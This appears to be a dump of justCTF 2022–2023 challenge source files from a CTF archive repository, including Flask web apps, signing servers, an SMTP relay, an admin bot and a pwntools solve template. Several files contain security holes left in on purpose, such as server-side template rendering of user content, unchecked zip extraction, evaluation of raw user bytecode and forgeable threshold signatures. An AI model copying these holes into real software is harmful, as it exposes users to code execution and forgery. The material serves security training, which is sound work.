data = json.loads(flask.request.data) assert isinstance(data['title'], str) assert isinstance(data['content'], str) except: return flask.abort(400, "Invalid request") err, post_id = db.add(data['title'], get_username(), data['content']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'id': post_id}) @app.route('/api/delete', methods=['POST']) def api_delete(): """Delete a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['id'], str) except: return flask.abort(400, "Invalid request") err = db.delete(data['id']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) @app.route('/api/export', methods=['GET']) def api_export(): """Export blog posts""" db = get_database() if db is None: return flask.redirect('/login') err, blob = db.export_posts(get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'export': blob}) @app.route('/api/import', methods=['POST']) def api_import(): """Import blog posts""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['import'], str) except: return flask.abort(400, "Invalid request") err = db.import_posts(data['import'], get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) class Database(object): """Database to store blog posts of a user """ def __init__(self, workdir): assert workdir.isalnum() self.workdir = f'{BASE_DIR}/{workdir}' os.makedirs(self.workdir, exist_ok=True) def __iter__(self): """Return blog posts sorted by publish date""" def enumerate_posts(workdir): posts = [] for path in glob.glob(f'{workdir}/*.json'): with open(path, "r") as f: posts.append(json.load(f)) for post in sorted(posts, key=lambda post: datetime.datetime.strptime( post['date'], "%Y/%m/%d %H:%M:%S" ))[::-1]: yield post return enumerate_posts(self.workdir) @staticmethod def to_snake(s): """Convert string to snake case""" for i, c in enumerate(s): if not c.isalnum(): s = s[:i] + '_' + s[i+1:] return s def add(self, title, author, content): """Add new blog post""" # Validate title and content if len(title) == 0: return 'Title is emptry', None if len(title) > 64: return 'Title is too long', None if len(content) == 0 : return 'HTML is empty', None if len(content) > 1024*64: return 'HTML is too long', None if '{%' in content: return 'The pattern "{%" is forbidden', None for m in re.finditer(r"{{", content): p = m.start() if not (content[p:p+len('{{title}}')] == '{{title}}' or \ content[p:p+len('{{author}}')] == '{{author}}' or \ content[p:p+len('{{date}}')] == '{{date}}'): return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None # Save the blog post now = datetime.datetime.now().strftime("%Y/%m/%d %H:%M:%S") post_id = Database.to_snake(title) data = { 'title': title, 'id': post_id, 'date': now, 'author': author, 'content': content } with open(f'{self.workdir}/{post_id}.json', "w") as f: json.dump(data, f) return None, post_id def read(self, title): """Load a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are looking for does not exist', None with open(f'{self.workdir}/{post_id}.json', "r") as f: return None, json.load(f) def delete(self, title): """Delete a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are trying to delete does not exist' os.unlink(f'{self.workdir}/{post_id}.json') def export_posts(self, username, passhash): """Export all blog posts with encryption and signature""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'a', zipfile.ZIP_DEFLATED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Encrypt archive so that anyone else cannot read the contents buf.seek(0) iv = os.urandom(16) cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv) encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(encbuf).decode() def import_posts(self, b64encbuf, username, passhash): """Import blog posts from backup file""" encbuf = base64.b64decode(b64encbuf) cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16]) buf = io.BytesIO(cipher.decrypt(encbuf[16:])) try: with zipfile.ZipFile(buf, 'r', zipfile.ZIP_DEFLATED) as z: # Check signature if z.comment != f'SIGNATURE:{username}:{passhash}'.encode(): return 'This is not your database' # Extract archive z.extractall() except: return 'The database is broken' return None def get_username(): return flask.session['username'] if 'username' in flask.session else None def get_passhash(): return flask.session['passhash'] if 'passhash' in flask.session else None def get_workdir(): return flask.session['workdir'] if 'workdir' in flask.session else None def get_database(): if (get_username() and get_passhash() and get_workdir()) is None: return None return Database(get_workdir()) if __name__ == '__main__': app.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/challenge/app.py
ctfs/justCTF/2023/web/Safeblog/challenge/app.py
#!/usr/bin/env python from Crypto.Cipher import AES from crc import Calculator, Crc32 import base64 import datetime import flask from flask_limiter import Limiter from flask_limiter.util import get_remote_address import glob import hashlib import io import json import os import re import zipfile app = flask.Flask(__name__) limiter = Limiter(get_remote_address, app=app, storage_uri="memory://") app.secret_key = os.urandom(16) app.encryption_key = os.urandom(16) BASE_DIR = './post' TEMPLATE = """<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>{{title}}</title> </head> <body> <h1>{{author}}'s Website</h1> <p>This is a sample page by {{author}} published on {{date}}.</p> </body> </html> """ @app.route('/', methods=['GET']) def index(): db = get_database() if db is None: return flask.render_template('login.html') else: return flask.render_template('index.html', template=TEMPLATE, database=db) @app.route('/post/<title>', methods=['GET']) def get_post(title): db = get_database() if db is None: return flask.redirect('/login') err, post = db.read(title) if err: return flask.abort(404, err) return flask.render_template_string(post['content'], title=post['title'], author=post['author'], date=post['date']) @app.route('/api/login', methods=['POST']) def api_login(): try: data = json.loads(flask.request.data) assert isinstance(data['username'], str) assert isinstance(data['password'], str) assert not re.search('[^A-Za-z0-9]',data['username']) except: return flask.abort(400, "Invalid request") flask.session['username'] = data['username'] flask.session['passhash'] = hashlib.md5(data['password'].encode()).hexdigest() flask.session['workdir'] = os.urandom(16).hex() return flask.jsonify({'result': 'OK'}) @app.route('/api/new', methods=['POST']) def api_new(): """Add a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['title'], str) assert isinstance(data['content'], str) except: return flask.abort(400, "Invalid request") err, post_id = db.add(data['title'], get_username(), data['content']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'id': post_id}) @app.route('/api/delete', methods=['POST']) def api_delete(): """Delete a blog post""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['id'], str) except: return flask.abort(400, "Invalid request") err = db.delete(data['id']) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) @app.route('/api/export', methods=['GET']) @limiter.limit("10/minute") def api_export(): """Export blog posts""" db = get_database() if db is None: return flask.redirect('/login') err, blob = db.export_posts(get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK', 'export': blob}) @app.route('/api/import', methods=['POST']) @limiter.limit("10/minute") def api_import(): """Import blog posts""" db = get_database() if db is None: return flask.redirect('/login') try: data = json.loads(flask.request.data) assert isinstance(data['import'], str) except: return flask.abort(400, "Invalid request") err = db.import_posts(data['import'], get_username(), get_passhash()) if err: return flask.jsonify({'result': 'NG', 'reason': err}) else: return flask.jsonify({'result': 'OK'}) class Database(object): """Database to store blog posts of a user """ def __init__(self, workdir): assert workdir.isalnum() self.workdir = f'{BASE_DIR}/{workdir}' os.makedirs(self.workdir, exist_ok=True) self.crc_calc = Calculator(Crc32.CRC32, True) def __iter__(self): """Return blog posts sorted by publish date""" def enumerate_posts(workdir): posts = [] for path in glob.glob(f'{workdir}/*.json'): with open(path, "rb") as f: posts.append(self.unpack(json.loads(f.read().decode('latin-1')))) for post in sorted(posts, key=lambda post: datetime.datetime.strptime( post['date'], "%Y/%m/%d %H:%M:%S" ))[::-1]: yield post return enumerate_posts(self.workdir) @staticmethod def to_snake(s): """Convert string to snake case""" for i, c in enumerate(s): if not c.isalnum(): s = s[:i] + '_' + s[i+1:] return s def pack(self, obj): """Add checksums to protect from data manipulation""" secure_obj = {} for k, v in obj.items(): secure_obj[k] = (v, self.crc_calc.checksum(str(v).encode())) return secure_obj def unpack(self, secure_obj): """Unpack secure object and verify checksums""" obj = {} for k, v in secure_obj.items(): if self.crc_calc.checksum(str(v[0]).encode()) != v[1]: raise Exception('Invalid CRC') obj[k] = v[0] return obj def add(self, title, author, content): """Add new blog post""" # Validate title and content if len(title) == 0: return 'Title is empty', None if len(title) > 64: return 'Title is too long', None if len(content) == 0 : return 'HTML is empty', None if len(content) > 1024: return 'HTML is too long', None if '{%' in content: return 'The pattern "{%" is forbidden', None for m in re.finditer(r"{{", content): p = m.start() if not (content[p:p+len('{{title}}')] == '{{title}}' or \ content[p:p+len('{{author}}')] == '{{author}}' or \ content[p:p+len('{{date}}')] == '{{date}}'): return 'You can only use "{{title}}", "{{author}}", and "{{date}}"', None # Save the blog post now = datetime.datetime.now().strftime("%Y/%m/%d %H:%M:%S") post_id = Database.to_snake(title) data = { 'title': title, 'id': post_id, 'date': now, 'author': author, 'content': content } with open(f'{self.workdir}/{post_id}.json', "w") as f: json.dump(self.pack(data), f) return None, post_id def read(self, title): """Load a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are looking for does not exist', None with open(f'{self.workdir}/{post_id}.json', "rb") as f: return None, self.unpack(json.loads(f.read().decode('latin-1'))) def delete(self, title): """Delete a blog post""" post_id = Database.to_snake(title) if not os.path.isfile(f'{self.workdir}/{post_id}.json'): return 'The blog post you are trying to delete does not exist' os.unlink(f'{self.workdir}/{post_id}.json') def export_posts(self, username, passhash): """Export all blog posts with encryption and signature""" buf = io.BytesIO() with zipfile.ZipFile(buf, 'a', zipfile.ZIP_STORED) as z: # Archive blog posts for path in glob.glob(f'{self.workdir}/*.json'): z.write(path) # Add signature so that anyone else cannot import this backup z.comment = f'SIGNATURE:{username}:{passhash}'.encode() # Encrypt archive so that anyone else cannot read the contents buf.seek(0) iv = os.urandom(16) cipher = AES.new(app.encryption_key, AES.MODE_CFB, iv, segment_size=128) encbuf = iv + cipher.encrypt(buf.read()) return None, base64.b64encode(encbuf).decode() def import_posts(self, b64encbuf, username, passhash): """Import blog posts from backup file""" encbuf = base64.b64decode(b64encbuf) cipher = AES.new(app.encryption_key, AES.MODE_CFB, encbuf[:16], segment_size=128) buf = io.BytesIO(cipher.decrypt(encbuf[16:])) try: with zipfile.ZipFile(buf, 'r', zipfile.ZIP_STORED) as z: # Check signature if z.comment != f'SIGNATURE:{username}:{passhash}'.encode(): return 'This is not your database' # Extract archive z.extractall() except: return 'The database is broken' return None def get_username(): return flask.session['username'] if 'username' in flask.session else None def get_passhash(): return flask.session['passhash'] if 'passhash' in flask.session else None def get_workdir(): return flask.session['workdir'] if 'workdir' in flask.session else None def get_database(): if (get_username() and get_passhash() and get_workdir()) is None: return None return Database(get_workdir()) if __name__ == '__main__': app.run()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/ESSAMTP/relay.py
ctfs/justCTF/2023/web/ESSAMTP/relay.py
from dns.resolver import resolve from dns.exception import DNSException from smtplib import SMTP from functools import lru_cache from subprocess import Popen import signal def handler(sig, frame): raise RuntimeError("timeout") signal.signal(signal.SIGALRM, handler) Popen(['flask', 'run', '--host=0.0.0.0']) @lru_cache(maxsize=256) def get_mx(domain): try: records = resolve(domain, "MX") except DNSException: return domain if not records: return domain records = sorted(records, key=lambda r: r.preference) return str(records[0].exchange) class RelayHandler: def handle_DATA(self, server, session, envelope): mx_rcpt = {} for rcpt in envelope.rcpt_tos: _, _, domain = rcpt.rpartition("@") mx = get_mx(domain) if mx is None: continue mx_rcpt.setdefault(mx, []).append(rcpt) signal.alarm(5) try: for mx, rcpts in mx_rcpt.items(): print('connetin ', mx) with SMTP(mx) as client: client.sendmail( from_addr=envelope.mail_from, to_addrs=rcpts, msg=envelope.original_content, ) finally: signal.alarm(0)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/ESSAMTP/app.py
ctfs/justCTF/2023/web/ESSAMTP/app.py
import os import ssl from smtplib import SMTP from flask import Flask, request import traceback ctx = ssl.create_default_context(cafile='cert.pem') app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def hello(): addr = request.form.get('addr', '') if request.method == 'POST': s = SMTP() try: s._host = 'localhost' s.connect(addr) s.starttls(context=ctx) s.sendmail('innocent-sender@nosuchdomain.example', ['innocent-recipient@nosuchdomain.example'], f'''\ From: some-sender@nosuchdomain.example To: some-recipient@nosuchdomain.example Subject: [CONFIDENTIAL] Secret unlock code Hi Recipient! Sorry for the delay. The code you asked for: {os.environ['FLAG']} Stay safe, Sender ''') except Exception: return '<pre>' + traceback.format_exc() + '</pre>' return 'ok' return f'<form method=POST><input name=addr placeholder=address value={addr}><input type=submit>'
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/pwn/LeagueOfLamports/solution_template/solve.py
ctfs/justCTF/2022/pwn/LeagueOfLamports/solution_template/solve.py
#!/usr/bin/env python3 from pwn import * from solana import * from solana.publickey import PublicKey # change this HOST, PORT = args.get("HOST", "localhost"), int(args.get("PORT", 1337)) # path to the solution contract filename = os.path.join(os.path.dirname(os.path.abspath(__file__)), "solution/dist/solution.so") data = b"" with open(filename, "rb") as contract: data = contract.read() io = remote(HOST, PORT) log.info("#0x0: sending smart contract") io.sendlineafter(b"length:", str(len(data)).encode()) io.send(data) log.info("#0x1: receiving public keys") io.recvline() pubkeys = dict() for i in range(3): name = io.recvuntil(b" pubkey: ", drop=True).decode() pubkey = io.recvline().strip() pubkeys[name] = pubkey.decode() # calculating pubkeys and seeds vault_pubkey, vault_seed = PublicKey.find_program_address([b"vault"], PublicKey(pubkeys["program"])) wallet_pubkey, wallet_seed = PublicKey.find_program_address([b"wallet"], PublicKey(pubkeys["program"])) log.info("#0x2: sending accounts meta") io.sendline(b"1") io.sendline(b"rw " + pubkeys["program"].encode()) log.info("#0x3: preparing instruction") instr = p64(0x0) instr_len = len(instr) io.sendline(str(instr_len).encode()) io.sendline(instr) print(io.recvall(timeout=1).decode("utf-8"))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/pwn/herpetology/herpetology.py
ctfs/justCTF/2022/pwn/herpetology/herpetology.py
#!/usr/bin/env -S python3 -u import sys print('length?') length = int(sys.stdin.buffer.readline()) print('payload?') payload = sys.stdin.buffer.read(length) co = compile('','','exec') eval(co.replace(co_code=payload))
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/crypto/fROStysSecondSignatureScheme/frosty.py
ctfs/justCTF/2022/crypto/fROStysSecondSignatureScheme/frosty.py
import json import hashlib from fastecdsa.curve import P192 as Curve from fastecdsa.point import Point from secrets import randbits from server_config import flag, server_privkey_share, client_pubkey_share N = Curve.q.bit_length() server_pubkey_share = server_privkey_share * Curve.G pubkey = client_pubkey_share + server_pubkey_share def read() -> dict: return json.loads(input()) def write(m : dict): print(json.dumps(m)) def generate_nonce(): sk = randbits(N) return sk, sk*Curve.G def mod_hash(msg : bytes, R : Point) -> int: h = hashlib.sha256() h.update(len(msg).to_bytes(64, 'big')) h.update(msg) h.update(R.x.to_bytes(N//8, 'big')) h.update(R.y.to_bytes(N//8, 'big')) return int(h.hexdigest(), 16) % Curve.q def verify(pubkey : Point, m : bytes, z : int, c : int) -> bool: R = z*Curve.G - c * pubkey return c == mod_hash(m, R) def coords(p : Point) -> (str, str): return (hex(p.x)[2:], hex(p.y)[2:]) def sign(): secret_nonce, public_nonce = generate_nonce() write({"D": coords(public_nonce)}) response = read() (dx, dy) = response["D"] msg = bytes.fromhex(response["msg"]) client_nonce = Point(int(dx, 16), int(dy, 16), Curve) R = public_nonce + client_nonce if (msg == b"Gimme!"): write({"error":"No way Jose!"}) return c = mod_hash(msg, R) z = secret_nonce + server_privkey_share * c write({"z":hex(z)[2:]}) def serve(): try: write({"banner": "Welcome to Very Frosty's Snowman Signing Server. Choose an option: sign or verify"}) msg = read() if msg["op"] == "sign": sign() elif msg["op"] == "verify": m = bytes.fromhex(msg["m"]) z = int(msg["z"], 16) c = int(msg["c"], 16) verified = verify(pubkey, m, z, c) write({"verified": verified}) if verified and m == b'Gimme!': write({"flag": flag}) except (ValueError, KeyError, TypeError, json.decoder.JSONDecodeError): write({"error": "Invalid input"}) if __name__ == "__main__": serve()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/crypto/Frosty/frosty.py
ctfs/justCTF/2022/crypto/Frosty/frosty.py
import json import hashlib from fastecdsa.curve import P192 as Curve from fastecdsa.point import Point from secrets import randbits from server_config import flag N = Curve.q.bit_length() registered_keys = {} def read() -> dict: return json.loads(input()) def write(m : dict): print(json.dumps(m)) def parse_ec(p): return Point(int(p[0], 16), int(p[1], 16), Curve) def generate_nonce(): sk = randbits(N) return sk, sk*Curve.G def mod_hash(msg : bytes, R : Point) -> int: h = hashlib.sha256() h.update(len(msg).to_bytes(64, 'big')) h.update(msg) h.update(R.x.to_bytes(N//8, 'big')) h.update(R.y.to_bytes(N//8, 'big')) return int(h.hexdigest(), 16) % Curve.q def verify(pubkey : Point, m : bytes, z : int, c : int) -> bool: R = z*Curve.G - c * pubkey return c == mod_hash(m, R) def coords(p : Point) -> (str, str): return (hex(p.x)[2:], hex(p.y)[2:]) def genkey(): sk, server_share = generate_nonce() write({"pubkey_share": coords(server_share)}) pk = read()["pubkey_share"] client_share = parse_ec(pk) public_key = server_share + client_share registered_keys[public_key] = sk write({"registered":coords(public_key)}) def sign(pubkey : Point): if pubkey not in registered_keys: write({"error": "Unknown pubkey"}) return secret_key = registered_keys[pubkey] secret_nonce, public_nonce = generate_nonce() write({"D": coords(public_nonce)}) response = read() client_nonce = parse_ec(response["D"]) msg = bytes.fromhex(response["msg"]) R = public_nonce + client_nonce if (msg == b"Gimme!"): write({"error":"No way Jose!"}) return c = mod_hash(msg, R) z = secret_nonce + secret_key * c write({"z":hex(z)[2:]}) def serve(): try: write({"banner": "Welcome to Frosty's Snowman Signing Server. Choose an option: genkey, sign or verify"}) msg = read() if msg["op"] == "genkey": genkey() elif msg["op"] == "sign": sign(parse_ec(msg["pubkey"])) elif msg["op"] == "verify": m = bytes.fromhex(msg["m"]) z = int(msg["z"], 16) c = int(msg["c"], 16) pubkey = parse_ec(msg["pubkey"]) verified = verify(pubkey, m, z, c) write({"verified": verified}) if verified and m == b'Gimme!': write({"flag": flag}) except (ValueError, KeyError, TypeError, json.decoder.JSONDecodeError): write({"error": "Invalid input"}) if __name__ == "__main__": while True: serve()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app.py
ctfs/justCTF/2022/web/Ninja/app/app.py
from app import app
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/models.py
ctfs/justCTF/2022/web/Ninja/app/app/models.py
from app import db, login_manager from flask_login import UserMixin from werkzeug.security import generate_password_hash, check_password_hash @login_manager.user_loader def load_user(id): return User.query.get(int(id)) class Consent(db.Model): id = db.Column(db.Integer, primary_key=True) id_user = db.Column(db.Integer, db.ForeignKey('users.id')) title = db.Column(db.String(64), index=True, nullable=False) color_palette = db.Column(db.String(240), index=True, nullable=False) link = db.Column(db.String(240), index=True, nullable=False) class User(UserMixin, db.Model): __tablename__ = 'users' id = db.Column(db.Integer, primary_key=True) username = db.Column(db.String(64), index=True, unique=True) email = db.Column(db.String(120), index=True, unique=True) password_hash = db.Column(db.String(128)) consents = db.relationship('Consent', backref='author', lazy='dynamic') def set_password(self, password): self.password_hash = generate_password_hash(password) def check_password(self, password): return check_password_hash(self.password_hash, password) def __repr__(self): return '<User {}>'.format(self.username)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/form.py
ctfs/justCTF/2022/web/Ninja/app/app/form.py
from flask_wtf import FlaskForm from wtforms import StringField, PasswordField, BooleanField, SubmitField, TextAreaField, RadioField from wtforms.validators import DataRequired, ValidationError, Length from app.models import User class LoginForm(FlaskForm): username = StringField('Username', validators=[DataRequired()]) password = PasswordField('Password', validators=[DataRequired()]) remember_me = BooleanField('Remember Me') submit = SubmitField('Sign In') class ReportForm(FlaskForm): url = StringField('Url', validators=[DataRequired()]) submit = SubmitField('Fire') class RegistrationForm(FlaskForm): username = StringField('Username', validators=[DataRequired()]) password = PasswordField('Password', validators=[DataRequired()]) submit = SubmitField('Register') def validate_username(self, username): user = User.query.filter_by(username=username.data).first() if user is not None: raise ValidationError('Please use a different username.') class PostForm(FlaskForm): title = StringField('Enter your site name', validators=[DataRequired()]) color_palette = RadioField('Choose a color palette', validators=[Length(min=1, max=140)], choices=[('#FFFFFF','white'),('#000000','black')], validate_choice=False) link = StringField('Enter the ID of a link', validators=[DataRequired()]) submit = SubmitField('Generate cookie consent')
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/config.py
ctfs/justCTF/2022/web/Ninja/app/app/config.py
import os basedir = os.path.abspath(os.path.dirname(__file__)) class Config(object): SECRET_KEY = os.environ.get('SECRET_KEY', 'yolo-that-would-be-too-easy'*2) SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or 'sqlite:////tmp/app.db' SQLALCHEMY_TRACK_MODIFICATIONS = False
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/__init__.py
ctfs/justCTF/2022/web/Ninja/app/app/__init__.py
from flask import Flask from app.config import Config from flask_sqlalchemy import SQLAlchemy from flask_migrate import Migrate from flask_login import LoginManager from flask_limiter import Limiter from flask_limiter.util import get_remote_address app = Flask(__name__, static_folder='static') app.config.update( SESSION_COOKIE_SECURE=False, SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SAMESITE='Lax', ) limiter = Limiter( app, key_func=get_remote_address ) login_manager = LoginManager() app.config.from_object(Config) db = SQLAlchemy(app) migrate = Migrate(app, db) from app import routes, models, db from app.models import User, Consent import os from werkzeug.security import generate_password_hash @app.before_first_request def setup(): flag = os.environ.get('FLAG') or 'justCTF{fake}' pwd = os.environ.get('PASSWD') or 'admin' if not User.query.filter_by(username=flag).first(): user = User(username = flag, password_hash = generate_password_hash(pwd)) db.session.add(user) db.session.commit()
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/routes.py
ctfs/justCTF/2022/web/Ninja/app/app/routes.py
from flask import render_template, request, redirect, flash, url_for from app import app, db from app.models import Consent, User from flask_login import login_user, logout_user, current_user, login_required from .form import LoginForm, RegistrationForm, PostForm, ReportForm from app import login_manager from app import limiter import logging import os import requests login_manager.init_app(app) STATIC = os.environ.get('BASE_URL', "http://127.0.0.1:5000") + "/static/" BOT = os.environ.get('BOT_URL') or "http://127.0.0.1:8000/" @app.after_request def apply_caching(response): response.headers["X-Frame-Options"] = "DENY" response.headers['X-Content-Type-Options'] = 'nosniff' response.headers['Content-Security-Policy'] = f"default-src 'none'; font-src {STATIC}; form-action 'self'; object-src 'none'; script-src {STATIC}; base-uri 'none'; style-src {STATIC} 'unsafe-inline'; img-src * data:;" return response @app.route('/') def index(): return render_template('index.html') @app.route('/consents', methods=['GET', 'POST']) @login_required def consents(): form = PostForm() if form.validate_on_submit(): post = Consent(title=form.title.data, color_palette=form.color_palette.data, link=form.link.data, author=current_user) db.session.add(post) db.session.commit() flash('Your consent is now live!') return redirect(url_for('consents')) entries = current_user.consents.all() return render_template('consents.html', consents=entries, form=form) @app.route('/consent/<int:id>', methods=['GET']) @login_required def consent(id): if not id or id != 0: if current_user.id == 1: entry = Consent.query.filter_by(id=id).first() else: entry = Consent.query.filter_by(id=id, id_user=current_user.id).first() return render_template('consent.html', consent=entry, link=request.args.get("link")) if entry else redirect('/') else: return redirect('/') @app.route('/logout') @login_required def logout(): logout_user() return redirect(url_for('index')) @app.route('/report', methods=['GET', 'POST']) @limiter.limit("1 per minute", methods=['POST']) def report(): form = ReportForm() if form.validate_on_submit(): requests.get(BOT, params={"url":form.url.data}) return render_template('report.html', title='Report', form=form) @app.route('/login', methods=['GET', 'POST']) def login(): if current_user.is_authenticated: return redirect(url_for('index')) form = LoginForm() if form.validate_on_submit(): user = User.query.filter_by(username=form.username.data).first() if user is None or not user.check_password(form.password.data): flash('Invalid username or password') return redirect(url_for('login')) login_user(user, remember=form.remember_me.data) return redirect(url_for('index')) return render_template('login.html', title='Sign In', form=form) @app.route('/register', methods=['GET', 'POST']) @limiter.limit("10 per minute", methods=['POST']) def register(): if current_user.is_authenticated: return redirect(url_for('index')) form = RegistrationForm() if form.validate_on_submit(): user = User(username=form.username.data) user.set_password(form.password.data) db.session.add(user) db.session.commit() flash('Congratulations, you are now a registered user!') return redirect(url_for('login')) return render_template('register.html', title='Register', form=form)
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/bot/bot.py
ctfs/justCTF/2022/web/Ninja/bot/bot.py
import traceback from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import expected_conditions as EC from selenium.webdriver.common.by import By import os from flask import Flask, request import time app = Flask(__name__) import sys import logging TASK = os.environ.get('BASE_URL') or "http://127.0.0.1:5000" flag = os.environ.get('FLAG') or 'justCTF{fake}' pwd = os.environ.get('PASSWD') or 'admin' def visit_url(url, timeout): if type(url) != str or not url.startswith("http"): return print("Visiting:",url, file=sys.stdout, flush=True) options = Options() options.add_argument('no-sandbox') options.add_argument('disable-dev-shm-usage') options.add_argument('disable-infobars') options.add_argument('disable-background-networking') options.add_argument('disable-default-apps') options.add_argument('disable-gpu') options.add_argument('disable-sync') options.add_argument('disable-translate') options.add_argument('disable-lazy-image-loading') options.add_argument('hide-scrollbars') options.add_argument('metrics-recording-only') options.add_argument('mute-audio') options.add_argument('no-first-run') options.add_argument('dns-prefetch-disable') options.add_argument('safebrowsing-disable-auto-update') options.add_argument('media-cache-size=1') options.add_argument('disk-cache-size=1') options.add_argument('disable-features=LazyImageLoading,AutomaticLazyImageLoading,LazyFrameLoading,AutomaticLazyFrameLoading,AutoLazyLoadOnReloads') options.add_argument('--js-flags=--noexpose_wasm,--jitless') options.add_argument('hide-scrollbars') options.add_argument('load-extension=ninja-cookie') try: browser = webdriver.Chrome('/usr/local/bin/chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log']) browser.get(TASK+"/login") WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete') inputElement = browser.find_element_by_id("username") inputElement.send_keys(flag) inputElement = browser.find_element_by_id("password") inputElement.send_keys(pwd) browser.find_element_by_id("submit").click() WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(timeout) browser.get(url) WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') time.sleep(30) except: print('Error visiting', url, traceback.format_exc(), file=sys.stderr, flush=True) finally: print('Done visiting', url, file=sys.stderr, flush=True) @app.route("/", methods=['GET']) def visit(): visit_url(request.args.get("url"), 1) return "ok"
python
MIT
129a3a9fe604443211fa4d493a49630c30689df7
2026-01-05T01:34:13.869332Z
false
sajjadium/ctf-archives
